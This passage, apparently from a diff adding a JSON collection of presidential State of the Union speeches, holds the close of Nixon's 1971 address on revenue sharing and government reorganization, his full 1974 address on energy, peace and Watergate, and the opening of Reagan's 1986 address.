Nation's responsibilities, and in\nwhich we share our Federal revenues with them so that they can meet those\nresponsibilities.To achieve this goal, I propose to the Congress tonight that we enact a\nplan of revenue sharing historic in scope and bold in concept.All across America today, States and cities are confronted with a financial\ncrisis. Some have already been cutting back on essential services---for\nexample, just recently San Diego and Cleveland cut back on trash\ncollections. Most are caught between the prospects of bankruptcy on the one\nhand and adding to an already crushing tax burden on the other.As one indication of the rising costs of local government, I discovered the\nother day that my home town of Whittier, California--which has a population\nof 67,000--has a larger budget for 1971 than the entire Federal budget was\nin 1791.Now the time has come to take a new direction, and once again to introduce\na new and more creative balance to our approach to government.So let us put the money where the needs are. And let us put the power to\nspend it where the people are.I propose that the Congress make a $16 billion investment in renewing\nState and local government. Five billion dollars of this will be in new and\nunrestricted funds to be used as the States and localities see fit. The\nother $11 billion will be provided by allocating $1 billion of new funds\nand converting one-third of the money going to the present narrow-purpose\naid programs into Federal revenue sharing funds for six broad purposes--for\nurban development, rural development, education, transportation, job\ntraining, and law enforcement--but with the States and localities making\ntheir own decisions on how it should be spent within each category.For the next fiscal year, this would increase total Federal aid to the\nStates and localities more than 25 percent over the present level.The revenue sharing proposals I send to the Congress will include the\nsafeguards against discrimination that accompany all other Federal funds\nallocated to the States. Neither the President nor the Congress nor the\nconscience of this Nation can permit money which comes from all the people\nto be used in a way which discriminates against some of the people.The Federal Government will still have a large and vital role to play in\nachieving our national progress. Established functions that are clearly and\nessentially Federal in nature will still be performed by the Federal\nGovernment. New functions that need to be sponsored or performed by the\nFederal Government--such as those I have urged tonight in welfare and\nhealth--will be added to the Federal agenda. Whenever it makes the best\nsense for us to act as a whole nation, the Federal Government should and\nwill lead the way. But where States or local governments can better do what\nneeds to be done, let us see that they have the resources to do it there.Under this plan, the Federal Government will provide the States and\nlocalities with more money and less interference--and by cutting down the\ninterference the same amount of money will go a lot further.Let us share our resources.Let us share them to rescue the States and localities from the brink of\nfinancial crisis.Let us share them to give homeowners and wage earners a chance to escape\nfrom ever-higher property taxes and sales taxes.Let us share our resources for two other reasons as well.The first of these reasons has to do with government itself, and the second\nhas to do with each of us, with the individual.Let's face it. Most Americans today are simply fed up with government at\nall levels. They will not--and they should not--continue to tolerate the\ngap between promise and performance in government.The fact is that we have made the Federal Government so strong it grows\nmuscle-bound and the States and localities so weak they approach\nimpotence.If we put more power in more places, we can make government more creative\nin more places. That way we multiply the number of people with the ability\nto make things happen--and we can open the way to a new burst of creative\nenergy throughout America.The final reason I urge this historic shift is much more personal, for each\nand for every one of us.As everything seems to have grown bigger and more complex in America, as\nthe forces that shape our lives seem to have grown more distant and more\nimpersonal, a great feeling of frustration has crept across this land.Whether it is the workingman who feels neglected, the black man who feels\noppressed, or the mother concerned about her children, there has been a\ngrowing feeling that \"Things are in the saddle, and ride mankind.\"Millions of frustrated young Americans today are crying out--asking not\nwhat will government do for me, but what can I do, how can I contribute,\nhow can I matter?And so let us answer them. Let us say to them and let us say to all\nAmericans, \"We hear you. We will give you a chance. We are going to give\nyou a new chance to have more to say about the decisions that affect your\nfuture--a chance to participate in government--because we are going to\nprovide more centers of power where what you do can make a difference that\nyou can see and feel in your own life and the life of your whole\ncommunity.\"The further away government is from people, the stronger government becomes\nand the weaker people become. And a nation with a strong government and a\nweak people is an empty shell.I reject the patronizing idea that government in Washington, D.C., is\ninevitably more wise, more honest, and more efficient than government at\nthe local or State level. The honesty and efficiency of government depends\non people. Government at all levels has good people and bad people. And the\nway to get more good people into government is to give them more\nopportunity to do good things.The idea that a bureaucratic elite in Washington knows best what is best\nfor people everywhere and that you cannot trust local governments is really\na contention that you cannot trust people to govern themselves. This notion\nis completely foreign to the American experience. Local government is the\ngovernment closest to the people, it is most responsive to the individual\nperson. It is people's government in a far more intimate way than the\nGovernment in Washington can ever be.People came to America because they wanted to determine their own future\nrather than to live in a country where others determined their future for\nthem.What this change means is that once again in America we are placing our\ntrust in people.I have faith in people. I trust the judgment of people. Let us give the\npeople of America a chance, a bigger voice in deciding for themselves those\nquestions that so greatly affect their lives.The sixth great goal is a complete reform of the Federal Government\nitself.Based on a long and intensive study with the aid of the best advice\nobtainable, I have concluded that a sweeping reorganization of the\nexecutive branch is needed if the Government is to keep up with the times\nand with the needs of the people.I propose, therefore, that we reduce the present 12 Cabinet Departments to\neight.I propose that the Departments of State, Treasury, Defense, and Justice\nremain, but that all the other departments be consolidated into four: Human\nResources, Community Development, Natural Resources, and Economic\nDevelopment.Let us look at what these would be:--First, a department dealing with the concerns of people--as individuals,\nas members of a family--a department focused on human needs.--Second, a department concerned with the community--rural communities and\nurban communities--and with all that it takes to make a community function\nas a community.--Third, a department concerned with our physical environment, with the\npreservation and balanced use of those great natural resources on which our\nNation depends.--And fourth, a department concerned with our prosperity--with our jobs,\nour businesses, and those many activities that keep our economy running\nsmoothly and well.Under this plan, rather than dividing up our departments by narrow\nsubjects, we would organize them around the great purposes of government.\nRather than scattering responsibility by adding new levels of bureaucracy,\nwe would focus and concentrate the responsibility for getting problems\nsolved.With these four departments, when we have a problem we will know where to\ngo--and the department will have the authority and the resources to do\nsomething about it.Over the years we have added departments and created agencies at the\nFederal level, each to serve a new constituency, to handle a particular\ntask--and these have grown and multiplied in what has become a hopeless\nconfusion of form and function.The time has come to match our structure to our purposes---to look with a\nfresh eye, to organize the Government by conscious, comprehensive design to\nmeet the new needs of a new era.One hundred years ago, Abraham Lincoln stood on a battlefield and spoke of\na \"government of the people, by the people, for the people.\" Too often\nsince then, we have become a nation of the Government, by the Government,\nfor the Government.By enacting these reforms, we can renew that principle that Lincoln stated\nso simply and so well.By giving everyone's voice a chance to be heard, we will have government\nthat truly is of the people.By creating more centers of meaningful power, more places where decisions\nthat really count can be made, by giving more people a chance to do\nsomething, we can have government that truly is by the people.And by setting up a completely modern, functional system of government at\nthe national level, we in Washington will at last be able to provide\ngovernment that is truly for the people.I realize that what I am asking is that not only the executive branch in\nWashington but that even this Congress will have to change by giving up\nsome of its power.Change is hard. But without change there can be no progress. And for each\nof us the question then becomes, not \"Will change cause me inconvenience?\"\nbut \"Will change bring progress for America?\"Giving up power is hard. But I would urge all of you, as leaders of this\ncountry, to remember that the truly revered leaders in world history are\nthose who gave power to people, and not those who took it away.As we consider these reforms we will be acting, not for the next 2 years or\nfor the next 10 years, but for the next 100 years.So let us approach these six great goals with a sense not only of this\nmoment in history but also of history itself.Let us act with the willingness to work together and the vision and the\nboldness and the courage of those great Americans who met in Philadelphia\nalmost 190 years ago to write a constitution.Let us leave a heritage as they did--not just for our children but for\nmillions yet unborn--of a nation where every American will have a chance\nnot only to live in peace and to enjoy prosperity and opportunity but to\nparticipate in a system of government where he knows not only his votes but\nhis ideas count--a system of government which will provide the means for\nAmerica to reach heights of achievement undreamed of before.Those men who met at Philadelphia left a great heritage because they had a\nvision--not only of what the Nation was but of what it could become.As I think of that vision, I recall that America was founded as the land of\nthe open door--as a haven for the oppressed, a land of opportunity, a place\nof refuge, of hope.When the first settlers opened the door of America three and a half\ncenturies ago, they came to escape persecution and to find opportunity--and\nthey left wide the door of welcome for others to follow.When the Thirteen Colonies declared their independence almost two centuries\nago, they opened the door to a new vision of liberty and of human\nfulfillment--not just for an elite but for all.To the generations that followed, America's was the open door that beckoned\nmillions from the old world to the new in search of a better life, a freer\nlife, a fuller life, and in which, by their own decisions, they could shape\ntheir own destinies.For the black American, the Indian, the Mexican-American, and for those\nothers in our land who have not had an equal chance, the Nation at last has\nbegun to confront the need to press open the door of full and equal\nopportunity, and of human dignity.For all Americans, with these changes I have proposed tonight we can open\nthe door to a new era of opportunity. We can open the door to full and\neffective participation in the decisions that affect their lives. We can\nopen the door to a new partnership among governments at all levels, between\nthose governments and the people themselves. And by so doing, we can open\nwide the doors of human fulfillment for millions of people here in America\nnow and in the years to come.In the next few weeks I will spell out in greater detail the way I propose\nthat we achieve these six great goals. I ask this Congress to be\nresponsive. If it is, then the 92d Congress, your Congress, our Congress,\nat the end of its term, will be able to look back on a record more splendid\nthan any in our history.This can be the Congress that helped us end the longest war in the Nation's\nhistory, and end it in a way that will give us at last a genuine chance to\nenjoy what we have not had in this century: a full generation of peace.This can be the Congress that helped achieve an expanding economy, with\nfull employment and without inflation--and without the deadly stimulus of\nwar.This can be the Congress that reformed a welfare system that has robbed\nrecipients of their dignity and robbed States and cities of their\nresources.This can be the Congress that pressed forward the rescue of our\nenvironment, and established for the next generation an enduring legacy of\nparks for the people.This can be the Congress that launched a new era in American medicine, in\nwhich the quality of medical care was enhanced while the costs were made\nless burdensome.But above all, what this Congress can be remembered for is opening the way\nto a new American revolution--a peaceful revolution in which power was\nturned back to the people--in which government at all levels was refreshed\nand renewed and made truly responsive. This can be a revolution as\nprofound, as far-reaching, as exciting as that first revolution almost 200\nyears ago--and it can mean that just 5 years from now America will enter\nits third century as a young nation new in spirit, with all the vigor and\nthe freshness with which it began its first century.My colleagues in the Congress, these are great goals. They can make the\nsessions of this Congress a great moment for America. So let us pledge\ntogether to go forward together--by achieving these goals to give America\nthe foundation today for a new greatness tomorrow and in all the years to\ncome, and in so doing to make this the greatest Congress in the history of\nthis great and good country.", 
+    "name": "Richard Nixon"
+}
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+{
+    "date": "January 30, 1974", 
+    "speech": "Mr. Speaker, Mr. President, my colleagues in the Congress, our\ndistinguished guests, my fellow Americans:We meet here tonight at a time of great challenge and great opportunities\nfor America. We meet at a time when we face great problems at home and\nabroad that will test the strength of our fiber as a nation. But we also\nmeet at a time when that fiber has been tested, and it has proved strong.America is a great and good land, and we are a great and good land because\nwe are a strong, free, creative people and because America is the single\ngreatest force for peace anywhere in the world. Today, as always in our\nhistory, we can base our confidence in what the American people will\nachieve in the future on the record of what the American people have\nachieved in the past.Tonight, for the first time in 12 years, a President of the United States\ncan report to the Congress on the state of a Union at peace with every\nnation of the world. Because of this, in the 22,000-word message on the\nstate of the Union that I have just handed to the Speaker of the House and\nthe President of the Senate, I have been able to deal primarily with the\nproblems of peace with what we can do here at home in America for the\nAmerican people--rather than with the problems of war.The measures I have outlined in this message set an agenda for truly\nsignificant progress for this Nation and the world in 1974. Before we chart\nwhere we are going, let us see how far we have come.It was 5 years ago on the steps of this Capitol that I took the oath of\noffice as your President. In those 5 years, because of the initiatives\nundertaken by this Administration, the world has changed. America has\nchanged. As a result of those changes, America is safer today, more\nprosperous today, with greater opportunity for more of its people than ever\nbefore in our history.Five years ago, America was at war in Southeast Asia. We were locked in\nconfrontation with the Soviet Union. We were in hostile isolation from a\nquarter of the world's people who lived in Mainland China.Five years ago, our cities were burning and besieged.Five years ago, our college campuses were a battleground.Five years ago, crime was increasing at a rate that struck fear across the\nNation.Five years ago, the spiraling rise in drug addiction was threatening human\nand social tragedy of massive proportion, and there was no program to deal\nwith it.Five years ago--as young Americans had done for a generation before\nthat--America's youth still lived under the shadow of the military draft.Five years ago, there was no national program to preserve our environment.\nDay by day, our air was getting dirtier, our water was getting more foul.And 5 years ago, American agriculture was practically a depressed industry\nwith 100,000 farm families abandoning the farm every year.As we look at America today, we find ourselves challenged by new problems.\nBut we also find a record of progress to confound the professional criers\nof doom and prophets of despair. We met the challenges we faced 5 years\nago, and we will be equally confident of meeting those that we face today.Let us see for a moment how we have met them.After more than 10 years of military involvement, all of our troops have\nreturned from Southeast Asia, and they have returned with honor. And we can\nbe proud of the fact that our courageous prisoners of war, for whom a\ndinner was held in Washington tonight, that they came home with their heads\nhigh, on their feet and not on their knees.In our relations with the Soviet Union, we have turned away from a policy\nof confrontation to one of negotiation. For the first time since World War\nII, the world's two strongest powers are working together toward peace in\nthe world. With the People's Republic of China after a generation of\nhostile isolation, we have begun a period of peaceful exchange and\nexpanding trade.Peace has returned to our cities, to our campuses. The 17-year rise in\ncrime has been stopped. We can confidently say today that we are finally\nbeginning to win the war against crime. Right here in this Nation's\nCapital--which a few years ago was threatening to become the crime capital\nof the world--the rate in crime has been cut in half. A massive campaign\nagainst drug abuse has been organized. And the rate of new heroin\naddiction, the most vicious threat of all, is decreasing rather than\nincreasing.For the first time in a generation, no young Americans are being drafted\ninto the armed services of the United States. And for the first time ever,\nwe have organized a massive national effort to protect the environment. Our\nair is getting cleaner, our water is getting purer, and our agriculture,\nwhich was depressed, is prospering. Farm income is up 70 percent, farm\nproduction is setting all-time records, and the billions of dollars the\ntaxpayers were paying in subsidies has been cut to nearly zero.Overall, Americans are living more abundantly than ever before, today. More\nthan 2 1/2 million new jobs were created in the past year alone. That is\nthe biggest percentage increase in nearly 20 years. People are earning\nmore. What they earn buys more, more than ever before in history. In the\npast 5 years, the average American's real spendable income--that is, what\nyou really can buy with your income, even after allowing for taxes and\ninflation--has increased by 16 percent.Despite this record of achievement, as we turn to the year ahead we hear\nonce again the familiar voice of the perennial prophets of gloom telling us\nnow that because of the need to fight inflation, because of the energy\nshortage, America may be headed for a recession.Let me speak to that issue head on. There will be no recession in the\nUnited States of America. Primarily due to our energy crisis, our economy\nis passing through a difficult period. But I pledge to you tonight that the\nfull powers of this Government will be used to keep America's economy\nproducing and to protect the jobs of America's workers.We are engaged in a long and hard fight against inflation. There have been,\nand there will be in the future, ups and downs in that fight. But if this\nCongress cooperates in our efforts to hold down the cost of Government, we\nshall win our fight to hold down the cost of living for the American\npeople.As we look back over our history, the years that stand out as the ones of\nsignal achievement are those in which the Administration and the Congress,\nwhether one party or the other, working together, had the wisdom and the\nforesight to select those particular initiatives for which the Nation was\nready and the moment was right--and in which they seized the moment and\nacted.Looking at the year 1974 which lies before us, there are 10 key areas in\nwhich landmark accomplishments are possible this year in America. If we\nmake these our national agenda, this is what we will achieve in 1974:We will break the back of the energy crisis; we will lay the foundation for\nour future capacity to meet America's energy needs from America's own\nresources.And we will take another giant stride toward lasting peace in the\nworld--not only by continuing our policy of negotiation rather than\nconfrontation where the great powers are concerned but also by helping\ntoward the achievement of a just and lasting settlement in the Middle\nEast.We will check the rise in prices without administering the harsh medicine\nof recession, and we will move the economy into a steady period of growth\nat a sustainable level.We will establish a new system that makes high-quality health care\navailable to every American in a dignified manner and at a price he can\nafford.We will make our States and localities more responsive to the needs of\ntheir own citizens.We will make a crucial breakthrough toward better transportation in our\ntowns and in our cities across America.We will reform our system of Federal aid to education, to provide it when\nit is needed, where it is needed, so that it will do the most for those who\nneed it the most.We will make an historic beginning on the task of defining and protecting\nthe right of personal privacy for every American.And we will start on a new road toward reform of a welfare system that\nbleeds the taxpayer, corrodes the community, and demeans those it is\nintended to assist.And together with the other nations of the world, we will establish the\neconomic framework within which Americans will share more fully in an\nexpanding worldwide trade and prosperity in the years ahead, with more open\naccess to both markets and supplies.In all of the 186 State of the Union messages delivered from this place, in\nour history this is the first in which the one priority, the first\npriority, is energy. Let me begin by reporting a new development which I\nknow will be welcome news to every American. As you know, we have committed\nourselves to an active role in helping to achieve a just and durable peace\nin the Middle East, on the basis of full implementation of Security Council\nResolutions 242 and 338. The first step in the process is the disengagement\nof Egyptian and Israeli forces which is now taking place.Because of this hopeful development, I can announce tonight that I have\nbeen assured, through my personal contacts with friendly leaders in the\nMiddle Eastern area, that an urgent meeting will be called in the immediate\nfuture to discuss the lifting of the oil embargo.This is an encouraging sign. However, it should be clearly understood by\nour friends in the Middle East that the United States will not be coerced\non this issue.Regardless of the outcome of this meeting, the cooperation of the American\npeople in our energy conservation program has already gone a long way\ntowards achieving a goal to which I am deeply dedicated. Let us do\neverything we can to avoid gasoline rationing in the United States of\nAmerica.Last week, I sent to the Congress a comprehensive special message setting\nforth our energy situation, recommending the legislative measures which are\nnecessary to a program for meeting our needs. If the embargo is lifted,\nthis will ease the crisis, but it will not mean an end to the energy\nshortage in America. Voluntary conservation will continue to be necessary.\nAnd let me take this occasion to pay tribute once again to the splendid\nspirit of cooperation the American people have shown which has made\npossible our success in meeting this emergency up to this time.The new legislation I have requested will also remain necessary. Therefore,\nI urge again that the energy measures that I have proposed be made the\nfirst priority of this session of the Congress. These measures will require\nthe oil companies and other energy producers to provide the public with the\nnecessary information on their supplies. They will prevent the injustice of\nwindfall profits for a few as a result of the sacrifices of the millions of\nAmericans. And they will give us the organization, the incentives, the\nauthorities needed to deal with the short-term emergency and to move toward\nmeeting our long-term needs.Just as 1970 was the year in which we began a full-scale effort to protect\nthe environment, 1974 must be the year in which we organize a full-scale\neffort to provide for our energy needs, not only in this decade but through\nthe 21st century.As we move toward the celebration 2 years from now of the 200th anniversary\nof this Nation's independence, let us press vigorously on toward the goal I\nannounced last November for Project Independence. Let this be our national\ngoal: At the end of this decade, in the year 1980, the United States will\nnot be dependent on any other country for the energy we need to provide our\njobs, to heat our homes, and to keep our transportation moving.To indicate the size of the Government commitment, to spur energy research\nand development, we plan to spend $10 billion in Federal funds over the\nnext 5 years. That is an enormous amount. But during the same 5 years,\nprivate enterprise will be investing as much as $200 billion--and in 10\nyears, $500 billion--to develop the new resources, the new technology, the\nnew capacity America will require for its energy needs in the 1980's. That\nis just a measure of the magnitude of the project we are undertaking.But America performs best when called to its biggest tasks. It can truly be\nsaid that only in America could a task so tremendous be achieved so\nquickly, and achieved not by regimentation, but through the effort and\ningenuity of a free people, working in a free system.Turning now to the rest of the agenda for 1974, the time is at hand this\nyear to bring comprehensive, high quality health care within the reach of\nevery American. I shall propose a sweeping new program that will assure\ncomprehensive health insurance protection to millions of Americans who\ncannot now obtain it or afford it, with vastly improved protection against\ncatastrophic illnesses. This will be a plan that maintains the high\nstandards of quality in America's health care. And it will not require\nadditional taxes.Now, I recognize that other plans have been put forward that would cost $80\nbillion or even $100 billion and that would put our whole health care\nsystem under the heavy hand of the Federal Government. This is the wrong\napproach. This has been tried abroad, and it has failed. It is not the way\nwe do things here in America. This kind of plan would threaten the quality\nof care provided by our whole health care system. The right way is one that\nbuilds on the strengths of the present system and one that does not destroy\nthose strengths, one based on partnership, not paternalism. Most important\nof all, let us keep this as the guiding principle of our health programs.\nGovernment has a great role to play, but we must always make sure that our\ndoctors will be working for their patients and not for the Federal\nGovernment.Many of you will recall that in my State of the Union Address 3 years ago,\nI commented that \"Most Americans today are simply fed up with government at\nall levels,\" and I recommended a sweeping set of proposals to revitalize\nState and local governments, to make them more responsive to the people\nthey serve. I can report to you today that as a result of revenue sharing\npassed by the Congress, and other measures, we have made progress toward\nthat goal. After 40 years of moving power from the States and the\ncommunities to Washington, D.C., we have begun moving power back from\nWashington to the States and communities and, most important, to the people\nof America.In this session of the Congress, I believe we are near the breakthrough\npoint on efforts which I have suggested, proposals to let people themselves\nmake their own decisions for their own communities and, in particular, on\nthose to provide broad new flexibility in Federal aid for community\ndevelopment, for economic development, for education. And I look forward to\nworking with the Congress, with members of both parties in resolving\nwhatever remaining differences we have in this legislation so that we can\nmake available nearly $5 1/2 billion to our States and localities to use\nnot for what a Federal bureaucrat may want, but for what their own people\nin those communities want. The decision should be theirs.I think all of us recognize that the energy crisis has given new urgency to\nthe need to improve public transportation, not only in our cities but in\nrural areas as well. The program I have proposed this year will give\ncommunities not only more money but also more freedom to balance their own\ntransportation needs. It will mark the strongest Federal commitment ever to\nthe improvement of mass transit as an essential element of the improvement\nof life in our towns and cities.One goal on which all Americans agree is that our children should have the\nvery best education this great Nation can provide.In a special message last week, I recommended a number of important new\nmeasures that can make 1974 a year of truly significant advances for our\nschools and for the children they serve. If the Congress will act on these\nproposals, more flexible funding will enable each Federal dollar to meet\nbetter the particular need of each particular school district. Advance\nfunding will give school authorities a chance to make each year's plans,\nknowing ahead of time what Federal funds they are going to receive. Special\ntargeting will give special help to the truly disadvantaged among our\npeople. College students faced with rising costs for their education will\nbe able to draw on an expanded program of loans and grants. These advances\nare a needed investment in America's most precious resource, our next\ngeneration. And I urge the Congress to act on this legislation in 1974.One measure of a truly free society is the vigor with which it protects the\nliberties of its individual citizens. As technology has advanced in\nAmerica, it has increasingly encroached on one of those liberties--what I\nterm the right of personal privacy. Modern information systems, data banks,\ncredit records, mailing list abuses, electronic snooping, the collection of\npersonal data for one purpose that may be used for another--all these have\nleft millions of Americans deeply concerned by the privacy they cherish.And the time has come, therefore, for a major initiative to define the\nnature and extent of the basic rights of privacy and to erect new\nsafeguards to ensure that those rights are respected.I shall launch such an effort this year at the highest levels of the\nAdministration, and I look forward again to working with this Congress in\nestablishing a new set of standards that respect the legitimate needs of\nsociety, but that also recognize personal privacy as a cardinal principle\nof American liberty.Many of those in this Chamber tonight will recall that it was 3 years ago\nthat I termed the Nation's welfare system \"a monstrous, consuming\noutrage--an outrage against the community, against the taxpayer, and\nparticularly against the children that it is supposed to help.\"That system is still an outrage. By improving its administration, we have\nbeen able to reduce some of the abuses. As a result, last year, for the\nfirst time in 18 years, there has been a halt in the growth of the welfare\ncaseload. But as a system, our welfare program still needs reform as\nurgently today as it did when I first proposed in 1969 that we completely\nreplace it with a different system.In these final 3 years of my Administration, I urge the Congress to join me\nin mounting a major new effort to replace the discredited present welfare\nsystem with one that works, one that is fair to those who need help or\ncannot help themselves, fair to the community, and fair to the taxpayer.\nAnd let us have as our goal that there will be no Government program which\nmakes it more profitable to go on welfare than to go to work.I recognize that from the debates that have taken place within the Congress\nover the past 3 years on this program that we cannot expect enactment\novernight of a new reform. But I do propose that the Congress and the\nAdministration together make this the year in which we discuss, debate, and\nshape such a reform so that it can be enacted as quickly as possible.America's own prosperity in the years ahead depends on our sharing fully\nand equitably in an expanding world prosperity. Historic negotiations will\ntake place this year that will enable us to ensure fair treatment in\ninternational markets for American workers, American farmers, American\ninvestors, and American consumers.It is vital that the authorities contained in the trade bill I submitted to\nthe Congress be enacted so that the United States can negotiate flexibly\nand vigorously on behalf of American interests. These negotiations can\nusher in a new era of international trade that not only increases the\nprosperity of all nations but also strengthens the peace among all\nnations.In the past 5 years, we have made more progress toward a lasting structure\nof peace in the world than in any comparable time in the Nation's history.\nWe could not have made that progress if we had not maintained the military\nstrength of America. Thomas Jefferson once observed that the price of\nliberty is eternal vigilance. By the same token, and for the same reason,\nin today's world the price of peace is a strong defense as far as the\nUnited States is concerned.In the past 5 years, we have steadily reduced the burden of national\ndefense as a share of the budget, bringing it down from 44 percent in 1969\nto 29 percent in the current year. We have cut our military manpower over\nthe past 5 years by more than a third, from 3.5 million to 2.2 million.In the coming year, however, increased expenditures will be needed. They\nwill be needed to assure the continued readiness of our military forces, to\npreserve present force levels in the face of rising costs, and to give us\nthe military strength we must have if our security is to be maintained and\nif our initiatives for peace are to succeed.The question is not whether we can afford to maintain the necessary\nstrength of our defense, the question is whether we can afford not to\nmaintain it, and the answer to that question is no. We must never allow\nAmerica to become the second strongest nation in the world.I do not say this with any sense of belligerence, because I recognize the\nfact that is recognized around the world. America's military strength has\nalways been maintained to keep the peace, never to break it. It has always\nbeen used to defend freedom, never to destroy it. The world's peace, as\nwell as our own, depends on our remaining as strong as we need to be as\nlong as we need to be.In this year 1974, we will be negotiating with the Soviet Union to place\nfurther limits on strategic nuclear arms. Together with our allies, we will\nbe negotiating with the nations of the Warsaw Pact on mutual and balanced\nreduction of forces in Europe. And we will continue our efforts to promote\npeaceful economic development in Latin America, in Africa, in Asia. We will\npress for full compliance with the peace accords that brought an end to\nAmerican fighting in Indochina, including particularly a provision that\npromised the fullest possible accounting for those Americans who are\nmissing in action.And having in mind the energy crisis to which I have referred to earlier,\nwe will be working with the other nations of the world toward agreement on\nmeans by which oil supplies can be assured at reasonable prices on a stable\nbasis in a fair way to the consuming and producing nations alike.All of these are steps toward a future in which the world's peace and\nprosperity, and ours as well as a result, are made more secure.Throughout the 5 years that I have served as your President, I have had one\noverriding aim, and that was to establish a new structure of peace in the\nworld that can free future generations of the scourge of war. I can\nunderstand that others may have different priorities. This has been and\nthis will remain my first priority and the chief legacy I hope to leave\nfrom the 8 years of my Presidency.This does not mean that we shall not have other priorities, because as we\nstrengthen the peace, we must also continue each year a steady\nstrengthening of our society here at home. Our conscience requires it, our\ninterests require it, and we must insist upon it.As we create more jobs, as we build a better health care system, as we\nimprove our education, as we develop new sources of energy, as we provide\nmore abundantly for the elderly and the poor, as we strengthen the system\nof private enterprise that produces our prosperity--as we do all of this\nand even more, we solidify those essential bonds that hold us together as\na nation.Even more importantly, we advance what in the final analysis government in\nAmerica is all about.What it is all about is more freedom, more security, a better life for each\none of the 211 million people that live in this land.We cannot afford to neglect progress at home while pursuing peace abroad.\nBut neither can we afford to neglect peace abroad while pursuing progress\nat home. With a stable peace, all is possible, but without peace, nothing\nis possible.In the written message that I have just delivered to the Speaker and to the\nPresident of the Senate, I commented that one of the continuing challenges\nfacing us in the legislative process is that of the timing and pacing of\nour initiatives, selecting each year among many worthy projects those that\nare ripe for action at that time.What is true in terms of our domestic initiatives is true also in the\nworld. This period we now are in, in the world--and I say this as one who\nhas seen so much of the world, not only in these past 5 years but going\nback over many years--we are in a period which presents a juncture of\nhistoric forces unique in this century. They provide an opportunity we may\nnever have again to create a structure of peace solid enough to last a\nlifetime and more, not just peace in our time but peace in our children's\ntime as well. It is on the way we respond to this opportunity, more than\nanything else, that history will judge whether we in America have met our\nresponsibility. And I am confident we will meet that great historic\nresponsibility which is ours today.It was 27 years ago that John F. Kennedy and I sat in this Chamber, as\nfreshmen Congressmen, hearing our first State of the Union address\ndelivered by Harry Truman. I know from my talks with him, as members of the\nLabor Committee on which we both served, that neither of us then even\ndreamed that either one or both might eventually be standing in this place\nthat I now stand in now and that he once stood in, before me. It may well\nbe that one of the freshmen Members of the 93d Congress, one of you out\nthere, will deliver his own State of the Union message 27 years from now,\nin the year 2001.Well, whichever one it is, I want you to be able to look back with pride\nand to say that your first years here were great years and recall that you\nwere here in this 93d Congress when America ended its longest war and began\nits longest peace.Mr. Speaker, and Mr. President, and my distinguished colleagues and our\nguests: I would like to add a personal word with regard to an issue that\nhas been of great concern to all Americans over the past year. I refer, of\ncourse, to the investigations of the so-called Watergate affair. As you\nknow, I have provided to the Special Prosecutor voluntarily a great deal of\nmaterial. I believe that I have provided all the material that he needs to\nconclude his investigations and to proceed to prosecute the guilty and to\nclear the innocent.I believe the time has come to bring that investigation and the other\ninvestigations of this matter to an end. One year of Watergate is enough.And the time has come, my colleagues, for not only the Executive, the\nPresident, but the Members of Congress, for all of us to join together in\ndevoting our full energies to these great issues that I have discussed\ntonight which involve the welfare of all of the American people in so many\ndifferent ways, as well as the peace of the world.I recognize that the House Judiciary Committee has a special responsibility\nin this area, and I want to indicate on this occasion that I will cooperate\nwith the Judiciary Committee in its investigation. I will cooperate so that\nit can conclude its investigation, make its decision, and I will cooperate\nin any way that I consider consistent with my responsibilities to the\nOffice of the Presidency of the United States.There is only one limitation. I will follow the precedent that has been\nfollowed by and defended by every President from George Washington to\nLyndon B. Johnson of never doing anything that weakens the Office of the\nPresident of the United States or impairs the ability of the Presidents of\nthe future to make the great decisions that are so essential to this Nation\nand the world.Another point I should like to make very briefly: Like every Member of the\nHouse and Senate assembled here tonight, I was elected to the office that I\nhold. And like every Member of the House and Senate, when I was elected to\nthat office, I knew that I was elected for the purpose of doing a job and\ndoing it as well as I possibly can. And I want you to know that I have no\nintention whatever of ever walking away from the job that the people\nelected me to do for the people of the United States.Now, needless to say, it would be understatement if I were not to admit\nthat the year 1973 was not a very easy year for me personally or for my\nfamily. And as I have already indicated, the year 1974 presents very great\nand serious problems, as very great and serious opportunities are also\npresented.But my colleagues, this I believe: With the help of God, who has blessed\nthis land so richly, with the cooperation of the Congress, and with the\nsupport of the American people, we can and we will make the year 1974 a\nyear of unprecedented progress toward our goal of building a structure of\nlasting peace in the world and a new prosperity without war in the United\nStates of America.", 
+    "name": "Richard Nixon"
+}
\ No newline at end of file
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+{
+    "date": "February 4, 1986", 
+    "speech": "Mr. Speaker, Mr. President, distinguished Members of the Congress, honored\nguests, and fellow citizens:Thank you for allowing me to delay my address until this evening. We paused\ntogether to mourn and honor the valor of our seven Challenger heroes. And I\nhope that we are now ready to do what they would want us to do: Go forward,\nAmerica, and reach for the stars. We will never forget those brave seven,\nbut we shall go forward.Mr. Speaker, before I begin my prepared remarks, may I point out that\ntonight marks the 10th and last State of the Union Message that you've\npresided over. And on behalf of the American people, I want to salute you\nfor your service to Congress and country. Here's to you!I have come to review with you the progress of our nation, to speak of\nunfinished work, and to set our sights on the future. I am pleased to\nreport the state of our Union is stronger than a year ago and growing\nstronger each day. Tonight we look out on a rising America, firm of heart,\nunited in spirit, powerful in pride and patriotism. America is on the move!\nBut it wasn't long ago that we looked out on a different land: locked\nfactory gates, long gasoline lines, intolerable prices, and interest rates\nturning the greatest country on Earth into a land of broken dreams.\nGovernment growing beyond our consent had become a lumbering giant,\nslamming shut the gates of opportunity, threatening to crush the very roots\nof our freedom. What brought America back? The American people brought us\nback with quiet courage and common sense, with undying faith that in this\nnation under God the future will be ours; for the future belongs to the\nfree.Tonight the American people deserve our thanks for 37 straight months of\neconomic growth, for sunrise firms and modernized industries creating 9\nmillion new jobs in 3 years, interest rates cut in half, inflation falling\nover from 12 percent in 1980 to under 4 today, and a mighty river of good\nworks--a record $74 billion in voluntary giving just last year alone. And\ndespite the pressures of our modern world, family and community remain the\nmoral core of our society, guardians of our values and hopes for the\nfuture. Family and community are the costars of this great American\ncomeback. They are why we say tonight: Private values must be at the heart\nof public policies.What is true for families in America is true for America in the family of\nfree nations. History is no captive of some inevitable force. History is\nmade by men and women of vision and courage. Tonight freedom is on the\nmarch. The United States is the economic miracle, the model to which the\nworld once again turns. We stand for an idea whose time is now: Only by\nlifting the weights from the shoulders of all can people truly prosper and\ncan peace among all nations be secure. Teddy Roosevelt said that a nation\nthat does great work lives forever. We have done well, but we cannot stop\nat the foothills when Everest beckons. It's time for America to be all that\nwe can be.We speak tonight of an agenda for the future, an agenda for a safer, more\nsecure world. And we speak about the necessity for actions to steel us for\nthe challenges of growth, trade, and security in the next decade and the\nyear 2000. And we will do it--not by breaking faith with bedrock principles\nbut by breaking free from failed policies. Let us begin where storm clouds\nloom 